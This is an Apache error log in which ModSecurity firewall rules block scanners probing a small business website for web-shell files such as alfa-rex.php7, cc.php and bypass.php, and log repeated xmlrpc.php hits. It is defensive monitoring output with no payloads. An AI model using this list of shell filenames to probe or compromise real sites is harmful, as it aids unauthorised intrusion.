[Sun Mar 01 10:05:03.130769 2026] [:error] [pid 33539:tid 33550] [client 20.104.206.150:30642] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ajax-actions.php"] [unique_id "aaOez9CsLwBYg4s018usFwAAAcU"]
[Sun Mar 01 10:05:03.672756 2026] [:error] [pid 33539:tid 33565] [client 20.104.206.150:30665] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaOez9CsLwBYg4s018usHAAAAdM"]
[Sun Mar 01 10:05:04.149734 2026] [:error] [pid 33539:tid 33565] [client 20.104.206.150:30598] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaOe0NCsLwBYg4s018usHgAAAdM"]
[Sun Mar 01 10:05:04.570926 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30705] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaOe0EGyeKe3MWsxvBj_PwAAAgs"]
[Sun Mar 01 10:05:05.621736 2026] [:error] [pid 33539:tid 33561] [client 20.104.206.150:30653] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaOe0dCsLwBYg4s018usKgAAAdA"]
[Sun Mar 01 10:05:06.101124 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30486] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaOe0kGyeKe3MWsxvBj_SwAAAgs"]
[Sun Mar 01 10:05:07.103735 2026] [:error] [pid 33539:tid 33550] [client 20.104.206.150:30629] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaOe09CsLwBYg4s018usMwAAAcU"]
[Sun Mar 01 10:05:07.528627 2026] [:error] [pid 33229:tid 33239] [client 20.104.206.150:30538] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaOe03zT4c9ddlGE6FxGXgAAAYg"]
[Sun Mar 01 10:05:07.955708 2026] [:error] [pid 33539:tid 33566] [client 20.104.206.150:30661] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc.php"] [unique_id "aaOe09CsLwBYg4s018usOAAAAdQ"]
[Sun Mar 01 10:05:08.409565 2026] [:error] [pid 33767:tid 33781] [client 20.104.206.150:30615] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaOe1EGyeKe3MWsxvBj_YAAAAgs"]
[Sun Mar 01 10:05:08.900910 2026] [:error] [pid 33229:tid 33233] [client 20.104.206.150:30644] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaOe1HzT4c9ddlGE6FxGYQAAAYI"]
[Sun Mar 01 10:05:09.420068 2026] [proxy_fcgi:error] [pid 33229:tid 33248] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:09.635449 2026] [proxy_fcgi:error] [pid 33229:tid 33248] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:09.849045 2026] [proxy_fcgi:error] [pid 33229:tid 33233] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:10.065252 2026] [proxy_fcgi:error] [pid 33229:tid 33233] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:10.278626 2026] [proxy_fcgi:error] [pid 33229:tid 33233] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:10.495176 2026] [proxy_fcgi:error] [pid 33229:tid 33233] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 10:05:10.708923 2026] [proxy_fcgi:error] [pid 33229:tid 33248] [client 20.104.206.150:30692] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 11:42:52.669315 2026] [:error] [pid 21158:tid 21195] [client 78.134.109.144:57311] [client 78.134.109.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.134.109.144, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaO1vDriSIe3-pWnbPYP-gAAAEI"]
[Sun Mar 01 11:42:52.680428 2026] [proxy_fcgi:error] [pid 21158:tid 21195] [client 78.134.109.144:57311] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 11:43:16.518041 2026] [:error] [pid 21263:tid 21273] [client 206.255.112.6:58498] [client 206.255.112.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.255.112.6, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaO11NAxjzLvN1upBhkiqQAAAMY"]
[Sun Mar 01 11:43:16.528755 2026] [proxy_fcgi:error] [pid 21263:tid 21273] [client 206.255.112.6:58498] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 11:43:55.177965 2026] [:error] [pid 24576:tid 24593] [client 103.211.176.83:57194] [client 103.211.176.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.211.176.83, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaO1-4vfb5CnctJh071MOQAAAQ0"]
[Sun Mar 01 11:43:55.187229 2026] [proxy_fcgi:error] [pid 24576:tid 24593] [client 103.211.176.83:57194] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 12:16:19.825176 2026] [:error] [pid 34286:tid 34307] [client 217.165.0.169:51070] [client 217.165.0.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.169, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaO9k3PFxpCIhHW6Xmm3ZgAAApM"]
[Sun Mar 01 12:16:19.836283 2026] [proxy_fcgi:error] [pid 34286:tid 34307] [client 217.165.0.169:51070] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:33.702743 2026] [proxy_fcgi:error] [pid 41342:tid 41356] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:33.954159 2026] [proxy_fcgi:error] [pid 41342:tid 41346] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:34.196180 2026] [proxy_fcgi:error] [pid 41342:tid 41355] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:34.441930 2026] [proxy_fcgi:error] [pid 41342:tid 41368] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:34.684160 2026] [proxy_fcgi:error] [pid 41342:tid 41369] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:34.926579 2026] [proxy_fcgi:error] [pid 41342:tid 41358] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:35.170129 2026] [proxy_fcgi:error] [pid 41342:tid 41349] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:35.412999 2026] [proxy_fcgi:error] [pid 41342:tid 41345] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:35.655989 2026] [proxy_fcgi:error] [pid 41342:tid 41356] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:35.898031 2026] [proxy_fcgi:error] [pid 41342:tid 41346] [client 158.158.52.178:22606] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:25:36.137529 2026] [:error] [pid 41342:tid 41368] [client 158.158.52.178:22606] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaPN0I4iJ6RAS5CatDk36QAAAhc"]
[Sun Mar 01 13:25:36.615821 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38362] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaPN0PKRPk6YnJBxw_zslQAAAM4"]
[Sun Mar 01 13:25:37.117463 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38356] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaPN0fKRPk6YnJBxw_zsmAAAAM4"]
[Sun Mar 01 13:25:37.596496 2026] [:error] [pid 41342:tid 41345] [client 158.158.52.178:27893] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaPN0Y4iJ6RAS5CatDk38wAAAgA"]
[Sun Mar 01 13:25:38.108698 2026] [:error] [pid 40750:tid 40775] [client 158.158.52.178:35279] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/path.php"] [unique_id "aaPN0gfBuk03yQKDyqu-1gAAAdY"]
[Sun Mar 01 13:25:38.590844 2026] [:error] [pid 40750:tid 40764] [client 158.158.52.178:30665] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/path.php"] [unique_id "aaPN0gfBuk03yQKDyqu-2AAAAcs"]
[Sun Mar 01 13:25:39.086900 2026] [:error] [pid 41342:tid 41362] [client 158.158.52.178:30712] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/path.php"] [unique_id "aaPN044iJ6RAS5CatDk4AAAAAhE"]
[Sun Mar 01 13:25:39.567421 2026] [:error] [pid 41342:tid 41355] [client 158.158.52.178:28718] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/path.php"] [unique_id "aaPN044iJ6RAS5CatDk4BwAAAgo"]
[Sun Mar 01 13:25:40.063171 2026] [:error] [pid 41342:tid 41361] [client 158.158.52.178:37191] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaPN1I4iJ6RAS5CatDk4DAAAAhA"]
[Sun Mar 01 13:25:40.542098 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:27873] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaPN1PKRPk6YnJBxw_zsogAAANE"]
[Sun Mar 01 13:25:41.041274 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:36691] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaPN1QfBuk03yQKDyqu-3AAAAdQ"]
[Sun Mar 01 13:25:41.521701 2026] [:error] [pid 41342:tid 41363] [client 158.158.52.178:22124] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaPN1Y4iJ6RAS5CatDk4GwAAAhI"]
[Sun Mar 01 13:25:42.004016 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:20243] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaPN1vKRPk6YnJBxw_zspwAAANE"]
[Sun Mar 01 13:25:42.481469 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38355] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaPN1vKRPk6YnJBxw_zsqgAAAM4"]
[Sun Mar 01 13:25:42.985917 2026] [:error] [pid 41342:tid 41355] [client 158.158.52.178:36708] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaPN1o4iJ6RAS5CatDk4JgAAAgo"]
[Sun Mar 01 13:25:43.467680 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:26413] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaPN1_KRPk6YnJBxw_zsrwAAANI"]
[Sun Mar 01 13:25:43.966588 2026] [:error] [pid 41342:tid 41349] [client 158.158.52.178:22113] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaPN144iJ6RAS5CatDk4LAAAAgQ"]
[Sun Mar 01 13:25:44.464650 2026] [:error] [pid 41342:tid 41365] [client 158.158.52.178:36700] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaPN2I4iJ6RAS5CatDk4MgAAAhQ"]
[Sun Mar 01 13:25:44.958211 2026] [:error] [pid 40750:tid 40760] [client 158.158.52.178:43557] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaPN2AfBuk03yQKDyqu-3wAAAcc"]
[Sun Mar 01 13:25:45.447769 2026] [:error] [pid 40750:tid 40753] [client 158.158.52.178:38365] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaPN2QfBuk03yQKDyqu-4gAAAcA"]
[Sun Mar 01 13:25:45.924690 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:28694] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/avim.php"] [unique_id "aaPN2fKRPk6YnJBxw_zsswAAANE"]
[Sun Mar 01 13:25:46.407330 2026] [:error] [pid 38241:tid 38256] [client 158.158.52.178:5084] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/avim.php"] [unique_id "aaPN2vKRPk6YnJBxw_zstQAAAMw"]
[Sun Mar 01 13:25:46.946541 2026] [:error] [pid 41342:tid 41350] [client 158.158.52.178:28697] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/avim.php"] [unique_id "aaPN2o4iJ6RAS5CatDk4RgAAAgU"]
[Sun Mar 01 13:25:47.439778 2026] [:error] [pid 41342:tid 41366] [client 158.158.52.178:5069] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/avim.php"] [unique_id "aaPN244iJ6RAS5CatDk4SwAAAhU"]
[Sun Mar 01 13:25:47.929702 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:43549] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaPN244iJ6RAS5CatDk4TwAAAg4"]
[Sun Mar 01 13:25:48.410104 2026] [:error] [pid 41780:tid 41785] [client 158.158.52.178:36710] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaPN3MONkVoocLIqzy37GQAAA8I"]
[Sun Mar 01 13:25:48.890985 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:36709] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaPN3PKRPk6YnJBxw_zsuQAAANI"]
[Sun Mar 01 13:25:49.368222 2026] [:error] [pid 41780:tid 41786] [client 158.158.52.178:38384] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaPN3cONkVoocLIqzy37HAAAA8M"]
[Sun Mar 01 13:25:49.845982 2026] [:error] [pid 40750:tid 40769] [client 158.158.52.178:26326] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaPN3QfBuk03yQKDyqu-7QAAAdA"]
[Sun Mar 01 13:25:50.322004 2026] [:error] [pid 41342:tid 41351] [client 158.158.52.178:26354] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaPN3o4iJ6RAS5CatDk4YQAAAgY"]
[Sun Mar 01 13:25:50.809381 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:35557] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaPN3vKRPk6YnJBxw_zsvgAAAM4"]
[Sun Mar 01 13:25:51.289458 2026] [:error] [pid 41342:tid 41364] [client 158.158.52.178:38363] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaPN344iJ6RAS5CatDk4ZgAAAhM"]
[Sun Mar 01 13:25:51.766808 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:15044] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mga.php"] [unique_id "aaPN3_KRPk6YnJBxw_zsxAAAAM4"]
[Sun Mar 01 13:25:52.244328 2026] [:error] [pid 41342:tid 41353] [client 158.158.52.178:36027] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mga.php"] [unique_id "aaPN4I4iJ6RAS5CatDk4bQAAAgg"]
[Sun Mar 01 13:25:52.720579 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:15049] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mga.php"] [unique_id "aaPN4AfBuk03yQKDyqu-7wAAAcw"]
